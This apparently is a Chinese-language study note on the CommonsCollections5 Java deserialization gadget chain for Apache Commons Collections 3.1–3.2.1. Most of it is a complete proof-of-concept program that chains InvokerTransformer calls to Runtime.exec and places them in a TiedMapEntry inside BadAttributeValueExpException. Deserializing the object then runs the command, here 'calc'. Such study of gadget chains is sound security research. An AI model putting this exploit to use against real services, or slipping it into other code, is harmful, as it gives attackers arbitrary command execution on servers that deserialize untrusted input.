CC5

jdk暂无限制
CommonsCollections 3.1 - 3.2.1

这里使用了cc1的前半段，先看cc5中出现的两个新类

TiedMapEntry

这个类主要用到 getValue()和 toString()，看到 getValue() 应该就知道什么意思了，cc1的 LazyMap

BadAttributeValueExpException

BadAttributeValueExpException的构造函数调用了toString()

poc

package com.yq1ng.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
/**
 * @author ying
 * @Description
 * @create 2021-11-23 17:04
 */
public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        //    反射将恶意TiedMapEntry塞进去
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}